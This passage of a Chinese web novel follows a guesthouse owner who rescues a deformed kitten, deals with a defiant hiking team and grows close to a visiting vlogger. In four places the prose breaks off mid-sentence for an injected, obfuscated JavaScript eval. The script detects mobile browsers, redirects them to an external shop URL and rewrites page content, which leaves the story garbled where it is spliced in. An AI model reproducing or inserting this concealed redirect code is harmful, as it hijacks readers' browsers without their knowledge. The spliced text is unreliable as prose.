你定睛一看,小奶猫的前爪明显与其他猫不同,爪子弯折到腕部,脚趾也不是常见的五个,而是六个。 “子墨你先上楼,我找注射器和泡沫箱。”你说,“带它去我的房间,悠悠最擅长照顾小月龄的小动物。” 江子墨应声而去。 你翻找一通,终于在落灰的收纳箱深处找到了一盒未开封的注射器。 推开111的门,江子墨和悠悠背对着你,安静地围坐在小奶猫身旁。而你从驿站背回来的红外线理疗仪,开启了治疗模式,温暖的红光笼罩着地毯上嗷嗷待哺的小生命。 这台理疗仪,是你买回来给悠悠缓解关节疼痛的。能在关键时刻派上用场,你的心前所未有的敞亮。 江子墨听到脚步声,回头看见是你:“舒化奶热好了。”他端着一个装满温水的保鲜盒,拿起已经泡得温热的牛奶,“这么小的猫我没喂过,念月你教教我。” 其实你也没喂养过刚出生的猫崽,但你有迎难而上的勇气。 找出之前给悠悠储备的隔尿垫,你又拿了几片洗脸巾,铺平垫在小奶猫身体下方。用一次性注射器抽取十毫升舒化奶,你伸出左手,滴了一滴在手背上,温度正好。 试着轻轻掰开小奶猫的嘴,你滴了一滴奶在它舌侧。 很好! 它能正常吞咽。 你屏住呼吸,将小猫托在手心,缓慢地滴落舒化奶。当它适应了节奏,顺利喝下五毫升,你悬着的心总算回归原位。 “子墨,交给你一个任务。” “你说吧。” “二十分钟后你拿棉签蘸温水,轻轻擦拭它的肛周,刺激它排便。现在就是没有猫砂和猫砂盆……”话未说完,你蓦然想起杨站长的爱人姜芸芝养了一只战斗力超强的狸花母猫。 事不宜迟,你即刻拨通姜芸芝的手机。 “小月,你刚才怎么没抱一箱糯玉米回去啊?我听老杨说,你只顾着领走流浪汉,别的事全忘了。待会儿换班我给你送去……” “芸姐,十万火急,玉米的事稍后再说!”你打断对方善意的埋怨,“奔奔还在带崽吗?春夜雨声地下室有一只被母猫弃养的小奶猫,你帮我想想办法,看能不能让奔奔帮忙带到三个月大?” 姜芸芝显然有些措手不及:“你知道奔奔的脾气。我只能帮你试试,接不接纳非亲生的猫崽,全看奔奔愿不愿意。” 你在记忆中搜寻所有你看过的关于动物的纪录片,整合总结猫科动物的习性,向姜芸芝提了一个情理之中又异想天开的主意。 “真有你的,小月。行,就这么说定了,等我这边集齐实验材料给你回电话。” “谢谢芸姐,费心了。” 放下手机,你整个人轻松不少。 江子墨问你是否找到最佳方案,你说是的,不出意外的话,小奶猫很快会有一个愿意接纳它的新去处。 起身拿来一个迷你定时器,你定好二十分钟,叮嘱江子墨按时刺激小奶猫排便。如果排便排尿正常,过两小时再喂一次奶。 “午餐总共十个菜,五荤五素,我炒好以后让雨凝招呼客人吃饭。”你认真规划着时间安排,“打车去县城宠物店需要一个半小时,往返三个小时。羊奶粉和猫砂提前买好,假如奔奔不接受这个小家伙,咱们只能人工喂养。” “在你的房间待这么久不合适。”江子墨说,“我把它抱到117,悠悠也跟我一块儿去。” “这有什么?我不介意。”你摸摸悠悠的脑袋瓜,“你们好好在这儿晒太阳、烤灯,守着春夜雨声的新成员,顺便给它起个名字。” “叫它麻团好吗?” “好啊!”你由衷地赞叹,“橘白小猫和这个名字适配度百分之百。” 江子墨面色微红:“对了,念月,你要是路过卖饰品的店,帮我带一包黑色发圈。” “打算留长发了?”你问。 “嗯。”江子墨说,“趁着发际线茂盛,我换个发型。免得以后成了地中海后悔。” 你忍笑不禁:“别这么说,谁地中海你也不会地中海,雨凝给我看过你们的全家福……”及时收住话头,你的心狂跳不止,脸颊忽然变得滚烫。 “我爸的确不是地中海,我也没有这方面的遗传基因。”江子墨神色如常。 “对不起,我冒昧了。”你不敢直视他的眼睛。 “又不是不能谈论的话题,干嘛说对不起?”江子墨从地毯上起身,把定时器装进羊毛衫右边口袋,而小奶猫则安稳地睡进了他左胸的口袋,“念月,超级打荷向你申请进厨房陪你炒菜,同意请摁悠悠的鼻头。” “没有不同意的选项?”你深感诧异。 “你猜对了!”江子墨拉开房门,“不管你怎么决定,超级打荷尾随到底。” 一低头,你发现悠悠正咧着嘴巴大笑。 “你们俩——联合起来整蛊我?” “悠悠很无辜。”江子墨说,“它心疼你。十个菜,你自己一个人全部炒完太累,走吧,我帮你打下手。” 汪! 关门的刹那,悠悠愉快的叫声仿佛有所提示。你一时理解不了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17061714|194525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毛孩子的用意,只得重新进门,把它最喜欢的玩具放进它怀中。 “乖,你踏实睡一觉,妈妈下午进城,给你买牛肉罐头和贝贝南瓜。” 悠悠眨眨眼睛,好像在说好的,它会等你回来。 - 采购回来的路上,你收到姜芸芝发的信息,说狸花猫奔奔已经接纳了小麻团,接下来的三个月,你可以随时登门拜访,记录麻团的成长情况。 你回电话过去,细数你的担忧:“麻团两只前爪先天畸形。我咨询了畜牧兽医站的张医生,他看了照片说这种畸形没法矫治,至少目前没有治疗成功的案例。” 姜芸芝说:“小月,甭纠结这些。麻团遇见你和子墨,是它命中有福。只要它能吃能喝能睡能长大,别的事都不重要。” 你沉默的间隙,姜芸芝补充一句:“这小家伙口壮,吃饱了睡睡醒了吃,过不了几天就会大变样。” “那就好。” 车窗外,无边林海闯入视线。 你心头翻涌的惆怅像一道无解难题,占据了你整颗心。自从悠悠步入老年期,你再没动过领养宠物的念头。你承受不了再一次的离别。这种深层意义上的痛楚,你默默消化,却始终消化不良。 前不久的跨年夜,程燃邀你去冰湖散步,你拒绝了。 你看出他等待的苦心,也懂得他的执着与真实,但你无法接受他的感情。你们相识多年,尽管一年只见一面却联络紧密,尽管有赵思忱这个可爱的助攻,尽管程燃各方面条件都是俗世认可的理想型…… 不爱就是不爱。 元旦过后,程燃因课题的行程先行离开,赵思忱多住了三天,每天守在你身边,问你为什么不愿当她的舅妈。 事情摆在明面上,你坦言,忱忱,我不爱程燃,我不能耽误他。 赵思忱说已经十九年了,姐姐你该放下过往往前看。 你没有回应。 你不知如何回应。 与老夏初相遇时心动的感觉,别说十九年,即使过了半辈子你也记得清清楚楚。 家人和朋友都不明白。 只有你懂那是怎样的一种感觉,一生拥有一次你已知足。 四十不惑,你看开许多事情。 柯倩说你超尘出俗,又担心你哪天真的做出什么惊人的抉择,所以她不去触碰你心里最疼痛的那个角落。 曹磊和迟若南没有过多的言语。 他俩表达友情的方式是让你没有后顾之忧,无论你开办民宿、救助流浪动物,还是带着悠悠自驾散心,充足的物质保障有一半来源于他们的赞助。 爸妈见到你总是忧心忡忡。 幸好他们有各自的家庭,分散了大部分的精力,否则听二老唠叨,你的耳朵早就磨出老茧了。 你近期没有长远的计划。 只想陪悠悠走完它狗生最后的时光。麻团的出现,是平静生活中一圈小小的波澜。你希望天生残缺的它能遇到一位有耐心有财力的铲屎官,陪它度过幸福的猫生。这样你就毫无挂碍,不会留有遗憾。 20. 第二十章 入住春夜雨声的客人里,有五人是雪地徒步爱好者。他们的队长昵称小睿,比你年轻六岁,正是身强体壮的年纪。 “你们打算徒步穿越大兴安岭?”你说,“我刚从根河回来,从现在起一直到五月都是防火期,全域封山了。” 小睿若有所思。 一名男队员忽然开口问你:“前年冬天我参加过呼中区的寻北之旅活动,当时没觉得危险。怎么今年就不行了?” “新闻报道我看过。”你说,“那次是依托成熟景区的路线,完美规避了野兽出没和火险严峻的地区,沿途有医疗队、志愿者,还有补给站提供的热饭热汤,保障每一位徒步爱好者的人身安全和体验感。如果是个人冒险穿越山林,不论从哪个角度分析都很危险。” 小睿摇摇头,并不认同你的观点。 “你不是好好地从根河回来了吗?做了直播,发了视频,涨了一万多的粉丝。为什么你做得到,到我们这儿就劝我们打退堂鼓?” “我规划的路线百分之九十五是大路。百分之三是路过瞭望塔和检查站,在工作人员的照顾下蹭吃蹭喝,还有百分之二是迷了路,很幸运遇到一位鄂温克猎人,保住了我的小命。” 小睿仍旧不服气:“我们也可以走大路!” 你望着他,既感到无奈,又非常欣赏他义无反顾的勇敢。八年前你迈出第一步,也是凭借一股子冲劲。但凡当初有一丁点的犹豫,你也不会成为今天的你。 初生牛犊不怕虎。 但是真正需要珍视的是什么,你比谁都清楚。 杨站长的忠告言犹在耳,你觉得有必要分享给在座几位和你一样热爱徒步的年轻人。 “很多地方,并不需要人类去征服。冷极之旅收官之后,我要蛰伏很长一段时间,不再为了冒险而冒险。” “你会掉粉的!”一名女队员倏地提高嗓门,“休整好了就继续出发吧,大佬,你不更新视频,我徒步的动力从何而来?” 小睿回头瞪她一眼:“不说话没人当你是哑巴。” 女队员噤了声,眼睛却直勾勾地盯着你。 “我有个建议。”你点开手机通讯录,找到杨站长的号码,“我联系离民宿最近的管护站站长,请他过来给你们讲一讲冬季徒步的注意事项。” “不需要!”小睿拒绝,“我们五个连北极圈都去过,还怕这三万公顷的林海?就算你是占据徒步圈高地的大佬,你也不能否定我们做了半年的攻略。” 说着,他愤然离席,走出餐厅时忽然停下,双拳握紧垂在身侧。 “江子墨,我以前挺敬佩你的,没想到你是这种人!打击别人的积极性,你能从中获益还是满足你扭曲的心理?” 气氛瞬间僵住。 有队员想劝小睿,却被他的眼神吓得一声不吭。 你坐在桌前,坦然接受对方的质问,没做任何的解释。 在厨房忙碌半晌的姐姐洗了手,走出来见大家脸色不对,一时不知说些什么。女队员想要帮忙收拾碗筷,碍于队长的威慑力又踌躇不前,姐姐连忙让对方回房间休息,说这里的活计交给她就行。 “这才是服务员的敬业精神。”小睿越说越来劲,“每个人都应该摆正位置,别去干涉他人,专注提升自己。” “你说谁呢?”姐姐一时反应不及。 “除了你还能是谁?大姐,哦,不,看你的样子至少比我大二十岁,尊称一声大妈更礼貌。”小睿嗤笑不止,“对咯,煮饭炒菜的那位大妈呢?她饭都没吃匆匆忙忙跑出去,总不会要赶回家照顾老人和孩子去了吧?” 不等你帮姐姐和江念月出口恶气,姐姐修炼多年的伶牙俐齿有了用武之地。 “这长不大的小孩儿,说话怎么没轻没重的?别说大姐、大妈,你叫声姑奶奶我都未必答应。”姐姐将剩菜收进厨余垃圾推车,顺手拿起桌角的调味罐看了看,“吃掉半罐辣椒油你就不知天高地厚了是吧?我大老远飞机倒火车背来的辣椒面,进你肚子里真是浪费!” 小睿气不打一处来:“老女人,你说我幼稚?!” 笑容始终未从姐姐脸上消失:“你能不能活到我这个岁数,还是个未知数呢。” 小睿脸色青一阵白一阵,破口大骂的苗头箭在弦上。两名男队员疾步上前,一左一右站在了小睿旁边,只想尽快息事宁人。 风铃叮咚作响,杨屹均和姜芸芝推门而进。 “大冷天的,你们不是因为分辣椒油打起来了吧?”姜芸芝把手提袋递给你,“子墨,一个个剑拔弩张的,怎么回事?” 你说:“没错,芸姐,怪我们老家的秦椒炸的辣椒油太香,谁都不让谁,差点爆发一场冲突。” 姜芸芝笑了:“我就说嘛,美食历来是资源争夺的热门。” 女队员是聪明人,懂得审时度势,她走到姐姐身边:“这罐辣椒油是我吃过最香的,要是能打包带在路上吃就好了。” 小睿翻个白眼,嘟哝一句:“馋猫误事!” “说曹操,曹操到——”你不计前嫌,介绍杨屹均给徒步小队成员认识,“这位杨站长是我的偶像,他每天在林子里巡逻三万步起,同时兼任嘹望员,从二十出头驻守到五十岁,野外生存经验丰富,你们有什么问题可以向他请教。” “三十年?杨站长您怎么坚持下来的?” “在这冰天雪地游玩我没问题,但是让我在这儿工作我干不了两天就得辞职。” “谁说不是呢?” 四名队员惊讶加敬佩,只有队长小睿迟疑着不肯表态。 杨站长径直走到小睿面前,主动和他打招呼:“我看你面熟,十年前你是不是参加过林场景区举办的森林筑梦夏令营?” 小睿怔住了:“您是……杨叔叔?” “好久不见,小勇士冠军!”杨屹均抬起手,与小睿的碰拳,“十年不见,你的勇气还和从前一样吗?” - 小睿向你姐姐连说三声对不起,说他不该以年龄当作攻击别人的武器。 姐姐接受了他的道歉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17066573|194525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 见气氛缓和,热心肠的杨站长沏了一壶茶,邀请徒步小队成员围坐一楼大厅聊天。 姜芸芝随你走进江念月的房间,用沾染了母猫奔奔气味的毯子擦拭小猫麻团全身。悠悠蹲在你们身旁,好奇地看了一会儿,后来可能是累了,喉咙里发出嘤嘤呜呜的声音。 你小心翼翼地摸它的脑袋:“悠悠别担心,麻团很快会有一个好去处。” 悠悠听懂了,仰起脸,鼻头轻触你的掌心。 你心中一动,情不自禁搂住它:“一切都会好起来的。” 姜芸芝埋头查看麻团的两只前爪:“弱胎,前肢畸形,这个小家伙要加油啊!” 你说:“有你和杨哥的帮忙,麻团肯定能健健康康地长大。” “也许它永远不能像同月龄小猫一样跑跳,但只要努力吃奶吃猫饭,总有一天它会让所有人刮目相看。” “芸姐,网上有人教小动物护具制作,我也想试试。” “我把老校友的号码推给你。”姜芸芝说,“他叫王明禾,退休前是县城畜牧兽医站口碑最好的兽医,你有难题找他咨询。” “好的,芸姐。” 新的问题接踵而至。姜芸芝问你计划在春夜雨声住多久,你说过完年等春运高峰期过去再买回潼城的票。 “这里很安静,适合休养身心。子墨,咱们刚刚认识,有句话我不知当讲不当讲?” “你问吧,芸姐,我知无不言。” 姜芸芝性格直爽,提问也是十分直接:“你喜欢念月吧?” 你不想隐瞒:“我对她有好感。”沉默片刻,你说:“我喜欢她。” 姜芸芝抱起酣睡的麻团,裹紧它身上的毯子,语速不紧不慢,却带着正式且严肃的意味:“成年人要对自己的言行负责。” “我明白。” “老杨看出你的心思,跟我提了一嘴。我不是那种热衷于打听别人情感八卦的人,但是念月和我自己亲妹妹没区别,我得保护她……” “芸姐,我懂你的意思。”你松开环抱悠悠脖子的手,“我会默默喜欢念月,不表白,不吓到她。” 姜芸芝哑然失笑:“你根本没开窍啊!” 她拿出手机,播放一条你发布过的视频。那是六年前你带着棉花糖徒步青藏线,条件艰苦却令你倍感充实的一篇作品。 画面中的你,用高山炉炒菜煮鸡胸肉。 尽管人的饭有些夹生,但棉花糖的猫饭特别美味。望着它大快朵颐的样子,你比自己品尝山珍海味还要开心数倍。 姜芸芝说:“从青藏线这一集开始,我关注你有六年了。子墨,我相信你的人品。” 麻团突然醒了,努力张开嘴巴寻找食物。 你转身去加热舒化奶,却听姜芸芝在你身后说:“我们这些朋友,没法给念月亲密可靠的情感依托。悠悠现在身体又很虚弱,我是担心有天念月失去它会崩溃。子墨,甭管我和老杨出的是不是馊主意,你心里怎么想就怎么做,我们都支持你。” 21. 第二十一章 网约车行至距离林场三公里处的检查站,司机跟你商量能不能提前结束行程,他要赶到火车站为返乡的好兄弟接风洗尘。 你同意了。 修改目的地,付款下车,取出后备箱装满猫粮猫砂和给悠悠采购食品的登山包,你过了安检,以平常步速往回走。 背包有点重啊! 你停下来原地休息。 扑啦啦一阵扇动翅膀声响起,鸟群掠过你的头顶,很快消失在密林之中。 羁鸟恋旧林,池鱼思故渊。今年的你特别想家,是的,你想念出生长大的云城。上次回去,还是参加妹妹高考升学宴,一晃已经过了三年。城市的变化日新月异,上周妹妹给你打视频,告诉你云城一号线地铁正式通车,有一站恰好是她就读的大学城,她软磨硬泡叫你回家过年,说只要你回去,她就拿出全部压岁钱请你吃遍所有新开的特色馆子。 老夏走后的第二年,你回了老家。那时你正筹备在北山林场这里开民宿,但你想改了名字再办理接下来的工商手续。 父亲没有反对。 你改名的理由是名字里有生僻字给生活造成诸多不便。申请通过得很顺利,江芃芃成为曾用名,出现在你的户口页江念月的下方。 同年妹妹出生。阿姨是高龄产妇,你担心她的身体,留下和月嫂一起忙里忙外。给妹妹报出生上户口的时候,父亲拿来一张纸让你过目。 “小月,你妹妹叫这个名字好不好?” 你望着“江璨星”三个字,瞬间觉得头大。“爸,你和阿姨不是商量好不给妹妹起笔画复杂的名字吗?” 父亲赧然:“我想着你和你妹妹月与星呼应,将来也是个互相扶持的伴儿。” 你错愕不已:“中年生子是你们的选择,不要想着以后让妹妹照顾我给我养老。她来到这个世界,只需要好好享受成长的过程,你一定富养她,别像我小时候那样放养。” 父亲的眼角忽然泛起泪花:“你这么说我更惭愧了……” “哎真是!”你故作不耐烦,随手拿起一支笔,刷刷刷写下几个你认为不错的名字,“爸,你和阿姨再看看,最好请大师把把关。” 阿姨端着桂圆甜汤出现在书房门口。 她把喝剩的半碗摆在桌上,接过父亲手里的纸。“到底是我们小月,起的名字就是好听好记寓意又好,就叫这个名字吧!” 妹妹上户口那天,你领取了新的身份证。 户籍警和你父亲是老熟人,他看着你们姐妹俩的名字,也像你的继母一样夸了又夸。“星月相伴,这姐妹俩虽然年龄相差大,但感情肯定没得说。” 父亲高兴极了。转头去派出所附近的超市买来糖果,分发给在场所有民警和前来办理业务的陌生人。 江乐星的号码在手机屏幕上跳动,你的思绪也瞬时回归现实。 接通电话,妹妹的声音听上去非常失落。 “姐……我期末没考好,只拿了二等奖学金,你快安慰安慰我,快点!” 你失笑:“宝贝别哭,宝贝你已经很棒了。” 听筒那边沉默了几秒,然后传来妹妹愤愤不平的抱怨:“我和我们专业第一只差一分,我输得心不服口不服!” 妹妹与你就读的是同一所大学,位于省城的211。她的专业是人工智能,比你当年的电气自动化录取分数线高出五十分,学院每学期期末的奖学金也比你那时候高得多。 “宝贝不上火啊,听老姐说,一等奖学金我发给你,另外再包个过年的大红包……” “姐你今年回来是吗?”妹妹已然忘了奖学金带来的不愉快,“哇——你回来过年比把天上星星摘下来送我我还要开心!” 你稍微把手机拿远一点,轻轻揉揉耳朵,而后摁下免提。 “我想了,悠悠好久没回云城,它喜欢那里的气候。”停顿半秒,你继续说,“最近悠悠喘得厉害,我担心它撑不到春天。” “回来吧,姐,你带悠悠回来!”妹妹翘首以盼。 “先别跟爸爸和阿姨说,民宿这边结束营业大概要十天以后了。”你叮嘱江乐星,“你放了寒假和好朋友出去旅游散心,不用为了等我守在家里。” 妹妹说:“旅什么游,我才不去呢!姐,我要置办一屋子年货等你回来!” 拗不过这个发自内心爱你的倔强姑娘,你只能连声说好,同时还说你会从林场这里采购一批干果干蘑菇,寄快递回家。 挂了电话,你的心轻盈得像夏天飘于湖面的浮木。 林子里这口湖,悠悠最喜欢在里面玩水。湖水没过你的膝盖,凉凉的,带走暑热,带走盘桓你心头的浮躁。 你改了主意,决定抄近路去冰湖待一会儿再回春夜雨声。早晨那会儿本来要去查看木屋是否被猞猁或者豹猫当作育儿室,因为碰见跋山涉水胜利而归的江子墨,你的计划做了微调。此时顺路去一趟,倒省得你来回跑浪费时间了。 路过悠悠挖开的那棵樟子松,你摘下背包,用树枝往深处挖。 没有其他纽扣或者小物件。 悠悠为什么要把你衣服的装饰扣和江子墨毛衣上的纽扣放在一起,你猜不到答案。 如果不是恶作剧,那么悠悠肯定有它的用意。 记忆突然闪回。你脑海中呈现的画面,是你不愿去回忆的悠悠的坏习惯。 悠悠小时候顽皮,热衷于咬坏老夏的裤子。他的裤子损失了许多条,变成五分裤七分裤的也有,变成当年你们看不懂时尚流行乞丐裤的也有。总之,悠悠应该被聘用担任一名男装设计师,它在男裤设计上很有创意。 今天早晨,江子墨的裤子被悠悠咬开一个大口子。 他说没关系,同样的裤子他买了六条可以替换。你过意不去,本来想着周末县城大集,约他一起去逛逛,当他选中某件商品时你抢着结账,这样你心里能好受一点。 现在你伫立树下,耳朵嗡嗡直响,太阳穴的血管跳个不停。 悠悠啊,你的心思妈妈明白,但是妈妈早就抛开向任何人付出和索取爱情了,你不要折腾了好吗? 走近冰湖,夕阳已将云杉的枝桠染成金色。 你打开手机手电筒,仔细观察雪地里的各种痕迹。前往木屋的一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17070160|194525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 路,你没有发现野生猫科动物的爪印,紧绷的神经随即放松。 推开木屋的门,你摁下太阳能灯的开关。 里里外外搜寻一番,暂无异常。你取下肩头沉重的背包,拿出一瓶水,边喝边朝湖面望去。 湖的南岸,是你和程燃合作为野天鹅搭建的窝。每年春末夏初,有一对天鹅夫妇总会飞回来,在这里孵蛋育仔。有一年程燃带领学生到访,通过对野天鹅家族观测的数据,他们发表了一篇关于生态学的论文,还拿了当年的学术杰出奖。 程燃说北山林场是他的福地,你是他的大福神。 你说论文拿奖全凭他和学生们的实力,你没起到任何作用胜之不武。他不这么想,收到奖金的那天下午,他就把属于他个人的那份奖金转给了你。 你要退回去程燃很生气,他说你必须收下,这是你应得的。 后来,你以程燃的名义,把这些奖金捐给林场,用于改善护林员和瞭望员的生活条件。 喝下整整一瓶水,你咽喉处的干痒才得到缓解。 驻足湖畔,你双手拢在嘴边,嘹亮而悠远地喊了一嗓子。 呜—— 回声久久在林间荡漾。 你笑了笑,转身准备去木屋取回背包,孰料身后响起更加嘹亮的呼喊声。 呜——呜呜—— 听声音,对面是个男人。 临近傍晚,又是封山季,不会是迷路的游客。护林员巡山也不常经过这里,所以你倍感警觉。 关闭木屋照明,手握冰车铁钎,你朝林中眺望。 黑衣黑裤的身影走出云杉林。 头发乱蓬蓬的江子墨收住脚步,与你隔岸相望。 他的手作成喇叭状,将声音扩至最大:“念月,你帮我买发圈了吗?” 你悬着的心踏实了,不禁笑着回答:“我忘了,对不起!” “不要道歉。”他大声呼喊着,一只脚踏上冰面,“你还有粉色发圈吗?再送我一个吧!” 你冲他挥挥手:“粉色的有,紫色的更多,你喜欢哪个颜色?” 咔嚓一声脆响,江子墨的另一只脚坠入冰窟。 今年冬季相对往年是暖冬,湖水冻得不结实。老夏生日那天,你和朋友们一起滑冰车,罗亦柯就滑到了薄冰层,差点跌进湖里。 水深齐膝,但冰面底下的湖水冰冷刺骨。 你连忙找来一根绳子,末端拴在湖边树干上打了单套结,中间段在自己腰环绕两圈,然后你拖拽绳子迅速来到江子墨面前。 绑好他的腰,你在前带路,他默默跟随。 爬上湖岸,你找遍背包,终于找到两只透明袋,让他脱下鞋袜套在脚上缓解寒冷。 江子墨有些不好意思。 他背过身去,忙活半天小声问你有没有大袋子,透明袋包不住他的脚。 你从木屋取来包裹冰车的防尘膜递给他:“凑合一下,咱们尽快赶回春夜雨声抹冻伤膏!” 他抬头,笑意浮现在唇角:“这绝对不是凑合——念月你帮了我的大忙,比我这个号称大佬的还要专业一万倍。” 22. 第二十二章 回到民宿,江念月打来一盆雪,让你用雪粒搓热冰水浸泡过的小腿和脚。她去房间找冻伤膏,悠悠先她一步站在你房间门外,眼神忧郁地望着你。 “进来吧,悠悠。”你冲它招手,但它纹丝不动。 “罗亦柯九岁那年冬天,跟着悠悠在雪地里玩了太长时间,两条腿冻木了,也像你现在这样用雪搓了大半天,才没造成严重后果。”江念月递给你一支药膏,解释悠悠不肯上前的原因,“那次我批评了悠悠,甚至动手打了它好几下,所以它看见装雪的盆子就会想起挨打的经历。” 你恍然大悟:“我说嘛,平时悠悠最喜欢吓唬我,今天怎么一反常态了。” 江念月眉梢微微挑起,眼中含笑:“你不怕狗了?” 你迎上她的视线:“除了悠悠,别的狗我还是怕。” 姐姐房间的门忽然开了,她应该是补觉刚醒来没多久,听见你和江念月的说话声开门出来看看。 “念月你回来得正是时候!” “怎么了,雨凝?” “晚餐不用开火了,杨哥芸姐两口子邀请咱们仨去他们家吃铁锅炖。” 江念月问:“抛下客人不管?” 姐姐神秘一笑:“他们全体团了滑雪场夜场的优惠券,返回春夜雨声的时间至少夜里十二点了。” 江念月点点头:“好啊,歇一晚养养体力,明早继续奋斗。” “你明天多睡一会儿,不要五点起床,太辛苦了。芸姐说她家有冷冻包子,我跟她要五十个当早餐。”姐姐转过头,目光被你脚下的盆子吸引,“江子墨,你又闯祸了?” 你笑笑:“冰面太薄,我判断失误掉了进去。” 姐姐捂脸,摆出一副羞于见人的模样:“幸好是遇见念月了,她人好,只会帮你不会落井下石。要是别人发现你是个野外生存的外行,拍下你的丑态发上网,你那些粉丝不炸了锅才怪!” “什么丑态?”你哭笑不得,“我又不是没掉进冰窟窿?棉花糖小时候……” 说到这儿,你突然卡壳了。 不知从哪天起,你可以自然地在任何人面前提起棉花糖。冷极之旅最后一个月的旅程,无论是你录制的视频素材,还是直播徒步行进,你侃侃而谈棉花糖和你在旅途中发生的趣事,不再忌讳,不再伤感。 起初是触角敏锐的粉丝注意到你的改变。 他们在评论区留言盖楼,并且配图用了棉花糖的可爱GIF图。 你真正由内而外的自我蜕变,是路遇东北虎带来的契机。那天你走在大路上,越走前方越荒凉,没有长途大巴和私家车经过,也没有附近农户的农用车经过。你心里犯嘀咕,拿出手机导航,发现路线是对的。你又拿出江念月送你的手绘地图,没错,方向和目的地都没问题。 当时天色阴沉,云层中酝酿着一场大雪。 你继续往前走。 林梢晃动,树与树的缝隙让风声听起来像是口哨音。 隔着沉重的登山包,某种奇异的你从未感受过的阴冷突袭你的后背。 立即停住脚步,你环顾四周。 林中那道渐渐逼近的矫健身影,令你毛骨悚然。 额头上的王字,炯炯有神的圆眼睛,神情威严,步履迅捷。如果你只看见它漂亮的黄黑条纹,和它那条宛如钢鞭的长尾巴,你不会感到紧张。 可是你视觉的聚焦点,是它怒目圆睁的眼睛。 一旦与野兽对视,危险系数提升的速度就不受控了。 你深吸一口气,转身朝离露营目的地绕远十公里的国道跑去。车辆多了,你忐忑不安的情绪稍有缓解。 然而当你回望靠近树林的那条路,发觉东北虎并未走远。 你想过拦车求助,后来打消了这个念头,因为你回忆中闪现了棉花糖留给你的经验。 棉花糖一岁半的时候,你带它沿黄河徒步,曾在途中遭遇大型猫科动物雪豹。离开位于青海省巴颜喀拉山脉北麓的黄河源头,你们抵达露营地,却被雨夹雪伴随冰雹的天气扰乱了户外搭帐篷的计划。 周围找不到未被雨水打湿的柴火,棉花糖可以吃猫粮暂时过渡,你也能啃方便面和冷馒头,但是干净的饮用水成了亟待解决的难题。 你给棉花糖穿上胸背,拴好牵引绳,用塑料袋为它制作一件简易雨衣,一人一猫携带水桶,前往最近的河道寻找流动水。 雪豹的毛皮花色与岩石戈壁十分相似。 棉花糖的焦躁不安没有引起你的重视,等你们走近山边,你才看到雪豹那双警惕性极强的眼睛。 心里直呼糟糕,脚步却没因恐惧而停下。 你抱着棉花糖一路狂奔,直到跑过你存放装备的位置,跑过人工防护林的提示牌,跑过相对洁净的水源,确认雪豹没跟上来,你瘫坐在地,抱紧棉花糖大口大口地喘息。 它伸出粉色小舌头,轻轻舔舐你的脸颊。 不要慌,有我陪着你。它仿佛在说,害怕是正常反应,我不是用炸毛和低吼提醒你了吗?这次就这样吧,下一次你可要早早地作出反应啊! 所以只有一个办法——跑,绕圈子四处跑。 新的危机迫在眉睫,旧的办法行之有效。你按照棉花糖的提示,顺利地甩开了东北虎的追踪。那晚你筋疲力尽,露营之后没急着做饭,而是仰躺在防潮垫上一边深呼吸一边给江念月发消息。 那一刻,她是你最好的朋友。差点丢掉小命这样紧急的事情,不能告诉姐姐,不能当素材剪辑成作品,只能跟她说,只有她的反馈可以安抚你的慌乱。 今天午餐时分,江念月做好饭一口没吃就出门采购。你往她的背包里装了面包和瓶装水,叮咛她不要饿着肚子赶路。这一刻,你心疼她不爱惜身体,更心疼她为了别人、哪怕是一只被母猫弃养的小猫,她也愿意花费时间精力去提供帮助。 你很清楚,你对她的感情发生了变化。 倘若姜芸芝没问你,倘若姐姐没有特地拿来一根粉色的发圈,你可能不敢直视自己的心。 在你没来到春夜雨声之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17076699|194525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前,你不知道罗亦柯屡次三番提起江念月,是不是另有目的。如今这些全都不重要了——即使罗亦柯当时确有额外的想法,你也不会生气。 这种感觉非常奇妙。 你不在乎年龄,不在乎她的过往,更不在乎世俗定义的“般配”。你急迫地,想要和她在一起。 姐姐察觉了你萌动的心思。 